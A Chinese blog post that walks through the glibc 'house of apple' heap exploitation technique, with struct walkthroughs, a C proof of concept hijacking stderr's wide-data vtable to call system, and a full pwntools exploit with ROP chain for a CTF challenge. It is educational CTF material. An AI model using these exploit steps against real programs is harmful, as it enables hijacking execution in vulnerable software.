首页 > 其他分享 >house of apple

house of apple

时间:2023-02-18 20:55:06浏览次数:49  
标签:wide apple house write long JUMP base IO

house of apple

攻击效果:劫持执行流

适用版本:glibc 2.23 到最新版本 2.36

利用条件:1、可以泄露出libc基地址和堆地址

​ 2、可以任意地址写一个堆地址(一般用large 斌attack)

​ 3、从main函数返回、调用exit函数、通过__malloc_assert触发

前置条件

large bin attack

随着glibc的不断更新,任意地址写一个堆地址的方法很少,

image-20230218110726331

漏洞原理&&触发条件

1、让一个chunkA进入large bin2

2、修改chunkA的bk_nextsize=目标地址-0x20(减0x20是因为fd_nextsize到chunk地址的距离是0x20)

3、让一个比chunkA小的chunkB进入large bin

 if ((unsigned long) (size)
		      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;//mearn
                      bck = bck->bk;//bck现在指向large bin 中最小的chunk

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//大的chunk+0x20的地方
                    }   gadgat—0x20  +0x20

image-20230217214420571

攻击效果:目的地址内写入chunkB的首地址

IO_file结构体

file结构代表一个打开的文件

进程中的 FILE 结构会通过chain 域彼此连接形成一个链表,表头为IO_list_all。而在标准的I/O库中,程序运行就会加载3个文件流stdio、stdout、stderr。

struct _IO_FILE {
int _flags;      
#define _IO_file_flags _flags
  char* _IO_read_ptr;  
  char* _IO_read_end;  
  char* _IO_read_base; 
  char* _IO_write_base; 
  char* _IO_write_ptr;  
  char* _IO_write_end;  
  char* _IO_buf_base;   
  char* _IO_buf_end;    
 
  char *_IO_save_base;
  char *_IO_backup_base; 
  char *_IO_save_end;
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset;
 
#define __HAVE_COLUMN 
 
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

image-20230218123944832

wide_data

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	
  wchar_t *_IO_read_end;	
  wchar_t *_IO_read_base;	
  wchar_t *_IO_write_base;	
  wchar_t *_IO_write_ptr;	
  wchar_t *_IO_write_end;	
  wchar_t *_IO_buf_base;	
  wchar_t *_IO_buf_end;		
  wchar_t *_IO_save_base;	
  wchar_t *_IO_backup_base;				   
  wchar_t *_IO_save_end;	
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

_IO_jump_tglibc 中一个通用的结构体,用于实现文件流的多态性。它定义了一组函数指针,这些函数指针指向文件流的不同操作,如读写、定位、关闭等。而 _IO_wstrn_jumps_IO_jump_t 的一个实例。它是用于实现宽字符流的。它继承了 _IO_jump_t 的所有函数指针,并定义了一些额外的函数指针,用于支持宽字符流的特殊操作。

回顾一下 _IO_jump_t 结构体 , vtable 是它的一个实例

漏洞原理

_IO_file 中的vtable合法性检查不完整

_IO_wide_data的wide_vtable没有合法性检查

vtable中放的是_IO_file_jumps是 _IO_jump_t结构体的对象

_IO_jump_tglibc 中一个通用的结构体,用于实现文件流的多态性。它定义了一组函数指针,这些函数指针指向文件流的不同操作,如读写、定位、关闭等。而 _IO_wfile_jumps_IO_jump_t 的一个实例。它是用于实现宽字符流的。它继承了 _IO_jump_t 的所有函数指针,并定义了一些额外的函数指针,用于支持宽字符流的特殊操作。

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

调用链

_IO_wfile_jumps
	_IO_wfile_overflow
   		_IO_wdoallocbuf
       		_IO_WDOALLOCATE
           		 *(fp->_wide_data->_wide_vtable + 0x68)(fp)

看到上面的调用链就可以看到我们需要控制的有:

1 fd的vtable为_IO_wfile_jumps ,

2 call *(fp->_wide_data->_wide_vtable + 0x68)(fp)

相关函数&&进入条件

_IO_OVERFLOW

     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   || 
          (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
			    > fp->_wide_data->_IO_write_base))
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

_IO_wfile_jumps

在进入exit会调用_IO_jumps_t结构体中的(_IO_overflow_t)类型的函数进行清空缓冲区如果我们将vtable中的io_jumps换成io_wfile_jumps就会执行 _IO_wfile_overflow函数

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wfile_overflow

_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES)  // 0x0008 check1
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)//0x0800 check2
    {
   
      if (f->_wide_data->_IO_write_base == 0) //check3
	{
	  _IO_wdoallocbuf (f);//进入这个函数
	  
	}

_IO_wdoallocbuf

_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)//check4
    return;
  if (!(fp->_flags & _IO_UNBUFFERED)) // 0x0002 check5
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//进入这个函数
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

需要绕过的检查

flag字段设置为~(2 | 0x8 | 0x800)

fp->_wide_data->_IO_write_base == 0

fp->_wide_data->_IO_buf_base == 0

利用过程

伪造_IO_file的flag字段设置为~(2 | 0x8 | 0x800)(如果需要获得shell,可设置为sh;,注意前面有两个空格)

IO_file的vtable修改为_IO_wfile_jumps

绕过调用链中的一些检查

(fp->_wide_data->_IO_write_base == 0

fp->_wide_data->_IO_buf_base == 0)

修改wide_data->wide_vtable+0x68为自己想要执行代码的地址

触发执行 _IO_OVERFLOW

(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

poc

#include<stdio.h>

int main()
{
	setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
	long long int libc_base=&printf-0x60770;
	printf("libc_base --------> %llx\n",libc_base);
	long long int stderr_address=libc_base+0x21a6a0;
	printf("stderr address --------> %llx\n",stderr_address);
	long long int wide_data=stderr_address+0xa0;
	printf("wide_data --------> %llx\n",wide_data);
	long long int vtable=stderr_address+0xd8;
	printf("vtable --------> %llx\n",vtable);
	
	long long int io_wfile_jumps=libc_base+0x2160c0;
	long long int wide_data_write_base=*(long long int *)(wide_data)+0x18;
	long long int wide_data_buf_base=*(long long int *)wide_data+0x30;
	printf("io_wfile_jumps --------> %llx\n",io_wfile_jumps);
	printf("wide_data_write_base --------> %llx\n",wide_data_write_base);
	printf("wide_data_buf_base --------> %llx\n",wide_data_buf_base);


	long long int wide_vtable=libc_base+0x219980;
	printf("wide_vtable --------> %llx\n",wide_vtable);
	long long int system=libc_base+0x50d60;
	long long int write_base=stderr_address+0x20;
	long long int buf_base=stderr_address+0x38;
	long long int system_ptr=wide_vtable-8;

	*(long long int *)vtable=io_wfile_jumps;
	*(long long int *)write_base=0;
    *(long long int *)wide_data_write_base=0;//调用链绕过检查
    *(long long int *)wide_data_buf_base=0;//调用链绕过检查
	*((long long int *)system_ptr)=system;//
	*(long long int *)wide_vtable=libc_base+0x219910;
	*(long long int *)stderr_address=0x3b68732020; //~(2 | 0x8 | 0x800);
	exit(0);
	return 0;
}

例题

保护策略

image-20230218001729426

image-20230218094119506

程序分析

是一个菜单题,增加,删除,修改,输出都有,只是修改和输出只能使用一次,并且只能输出0x10个字节

image-20230218002450832

add函数有三种申请方式

1, size

2 ,size+0x10

3 ,2*size

image-20230218002603060

delete函数有一个uaf漏洞

image-20230218002904008

read函数

image-20230218002929545

write函数

image-20230218002948021

泄露libc地址和堆地址

因为只能打印0x10个数据,所以只能打印libc地址和堆地址相连的,这个情况只能在unsortedbin中出现

image-20230218092504878

做法是

add(2)#0 这堆块也要做large bin attack中大的chunk

add(1)#1 防止合并

add(1)#2

add(1)#3 防止合并

delete(0)

delete(2)

write(0)

伪造IO_file结构体和wide_data

由于只能写一次,所以说我们只能在修改chunk0的同时将IO_file结构体wide_data和orw一起写入

这里有两个问题

1、就是我们利用large bin attack是将小的chunk地址写入到_IO_list_all中,但我们只能向大的chunk中输入

2、我们不能控制我们伪造的IO_file的flag字段(也就是chunk头prev_size和 size)

问题一:

我们们可以利用触发unlink

if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {

      if (fd->fd_nextsize == NULL)  //不进
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize; 
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize; //p 指向的是将要取出的chunk
	}
    }

这个 p->bk_nextsize此时是 IO_list_all-0x20 的地址,而触发 p->bk_nextsize->fd_nextsize = p->fd_nextsize 就将大堆块的地址写入了( IO_list_all-0x20)+0x20 的位置,所以只要再申请一个和小堆块等大的堆块,触发这个 unlink 就可以将大堆块的地址写入 IO_list_all 中了

问题二:

既然我们伪造的第一个IO_file结构体无法控制flag字段,那我们就在伪造一个。

1、控制第一个结构体的chain字段为我们伪造的第二个结构体的地址

2、控制一个结构体的IO_write_base>IO_write_ptr(控制不触发IO_OVERFLOW)让结构体指向我们第二个结构体

第一个IO_file结构体

image-20230218101441609

第二个结构体

image-20230218101534469

wide_data

image-20230218101824227 image-20230218101844797

由于我们要大orw,需要栈迁移一下,那就需要控制rbp并执行leave

我这里用的是下面的一个gadget 详细看https://bbs.kanxue.com/thread-272098.htm

(此时的rdi就是p的flag字段)既然rdi+0x48可控,那么rbp可控,进而rax可控,执行leave_ret

控制rsp为 add rsp xxx,ret;的地址,跳过中间一些数据直接到orw的地址,不能直接填orw的地址减8,这样会破坏我们布置的orw结构因为rbp+0x18为我们布置的一个地址

<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>:    lea    r13,[rbp+0x10]
<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>:    mov    rdi,r13
<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]

调试过程

image-20230218103856551

exp

from tools import*
p,e,libc=load('oneday')
context(arch='amd64',os='linux',log_level='debug')
def add(choise):
    p.sendlineafter('enter your command: \n',str(1))
    p.sendlineafter('choise: ',str(choise))
def delete(index):
    p.sendlineafter('enter your command: \n',str(2))
    p.sendlineafter('Index:',str(index))
def read(index,context):
    p.sendlineafter('enter your command: \n',str(3))
    p.sendlineafter('Index:',str(index))
    p.sendafter('Message:',context)
def write(index):
    p.sendlineafter('enter your command:',str(4))
    p.sendlineafter('Index:',str(index))

p_addr=0x13B9
p_del=0x13C3
p_read=0x13E0
p_write=0x13FD

p.sendlineafter("enter your key >>\n",str(8))

add(2)#0
add(1)#1
add(1)#2
add(1)#3

delete(0)

delete(2)
write(0)
p.recvuntil('Message: \n')
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_libc')
p.recv(2)

leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')
libc_base=leak_libc-0x219ce0
io_list_all=libc_base+libc.symbols['_IO_list_all']
_IO_write_jumps=libc_base
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
pop_rax=libc_base+0x0000000000045eb0
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
leave_ret=libc_base+0x00000000000562ec
_IO_wfile_jumps=libc_base+0x2160c0
syscall=libc_base+0x11ea20
magic_gadget=libc_base+0x16a1fa
add_rsp_418=libc_base+0x000000000012135d
add(1)
delete(2)

io_list=p64(0xdeadbeef)
io_list+=p64(~(2| 0x8 | 0x800)+(1<<64))
io_list+=p64(0)*3
io_list+=p64(0)+p64(1)
io_list+=p64(0)
io_list+=p64(0xaaaaaaaa)*2
io_list+=p64(leak_heap-0xf60-0x18)#rdi 0x48
io_list+=p64(0)*10
io_list+=p64(leak_heap-0xf50)#  _wide_data
io_list+=p64(0)*4
io_list+=p64(leak_heap-0xe60) #  rbp
io_list+=p64(add_rsp_418)
io_list+=p64(_IO_wfile_jumps)



#wide_data
wide_data=p64(leak_heap-0xf58-0x28) #-0xf60
wide_data+=p64(leave_ret)
wide_data+=p64(0)*12  #leak_heap-0xf50
wide_data+=p64(leak_heap-0xf50-0x28)  
wide_data+=p64(0)*8
wide_data+=p64(0) #rdi+0x48
wide_data+=p64(0)*3

wide_data+=p64(magic_gadget)

wide_data+=p64(leak_heap-0xe80-0x8-0x68)*3




#open
rop=p64(pop_rdi)+p64(2)#
rop+=p64(pop_rsi)+p64(leak_heap-0xb56)
rop+=p64(pop_rax)+p64(2)
rop+=p64(pop_rdx_r12)
rop+=p64(0)*2
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap)
rop+=p64(pop_rdx_r12)+p64(0x200)+p64(0)

rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap)
rop+=p64(pop_rdx_r12)+p64(0x100)+p64(0)
rop+=p64(pop_rax)+p64(1)
rop+=p64(write_addr)
payload=p64(libc_base+0x21a1f0)*2+p64(io_list_all)+p64(io_list_all-0x20)#io_write_base控制为io_list_all 因为需要大于io_write_ptr不触发overflow
payload+=p64(0)*7
payload+=p64(leak_heap-0x1040)#chain    指向了第一个伪造的结构体的vtable
payload+=p64(0)*15
payload+=io_list
payload+=wide_data
payload+=p64(0)*(62+24+12)
payload+=b'./flag\x00\x00'
payload+=rop

read(0,payload.ljust(0x880,b'\x00'))
debug(p,'pie',p_addr)
add(3)
#debug(p,'pie',p_addr,p_del,p_read,0xE31,0x13B7)

add(1)

p.sendlineafter('enter your command: \n',str(5))

p.interactive()
#0x202040 0xa1790  0xa180f    p *(struct _IO_wide_data *)  p *(struct _IO_FILE_plus *)    0x16a1fa

参考

https://zikh26.github.io/posts/19609dd.html

https://www.roderickchan.cn/post/house-of-apple-一种新的glibc中io攻击方法-2/

标签:wide,apple,house,write,long,JUMP,base,IO
From: https://www.cnblogs.com/trunk/p/17133572.html

相关文章

  • apple365的分治合集!
    目录根号分治待补正文根号分治其实分块也是一种根号分治。本质是将一组询问按照某个值域来划分(通常取根号),不超过\(X\)时采用一种做法,超过了换另一种(一般一种是暴......
  • clickhouse
    clickhouse使用JAVA驱动连接介绍一、JDBC驱动clickhouse有两种JDBC驱动实现。官方驱动:<dependency><groupId>ru.yandex.clickhouse</groupId><artifactId>clickh......
  • clickhouse增删改查、创建数据库、创建表、修改字段、添加字段、删除字段
    1,创建数据库CREATEDATABASEIFNOTEXISTStest_database;集群语句(集群名称必须和搭建环境中配置环境名称一致)//cluster_name是集群名称CREATEDATABASEIFNOTE......
  • 外汇天眼:英国伦敦实地探访外汇交易商House Of Borse Limited!不存在真实办公场所
    天眼实勘据路透社报道,英国在脱欧公投后的几年内,在全球外汇交易领域的领先地位进一步扩大,此外,英国零售外汇市场拥有世界三大最严的监管机构之一的英国金融市场行为监管局(FCA......
  • ClickHouse 查询优化详细介绍
     你想要的ClickHouse优化,都在这里。ClickHouse是OLAP(Onlineanalyticalprocessing)数据库,以速度见长[1]。ClickHouse为什么能这么快?有两点原因[2]:架构优越......
  • apple邮件添加账户
    方法引用以下2篇文章:(163邮箱)https://blog.csdn.net/m0_37292262/article/details/104902088(其他邮箱)http://help.cstnet.cn/changjianwenti/youjianshoufa/iphoneios1......
  • ByteHouse:基于ClickHouse的实时数仓能力升级解读
     更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 ByteHouse是火山引擎上的一款云原生数据仓库,为用户带来极速分析体验,能够支撑......
  • Apple Watch 开发知识
    热烈欢迎,请直接点击!!!进入博主AppStore主页,下载使用各个作品!!!注:博主将坚持每月上线一个新app!!!AppleWatch现在对于第三方开发者来说更多的还是一块额外的屏幕。暂时WatchKi......
  • 使用 NineData GUI 创建与修改 ClickHouse 表结构
    01前言随着ClickHouse的快速发展,越来越多的开发者关注并在业务中使用ClickHouse。作为开发人员除了在应用中访问数据库、进行业务数据的分析跟进,还有很重要的一个库表......
  • 聊下 Clickhouse MergeTree 的分区,索引,标记和压缩数据
    今天花了一天把《ClickHouse原理解析与应用实践》过了一遍,除了感叹诸多结构都为了节省每一个byte做到极致,也感受到要理解某些设计又一点压力。看完之后我感觉差不多理......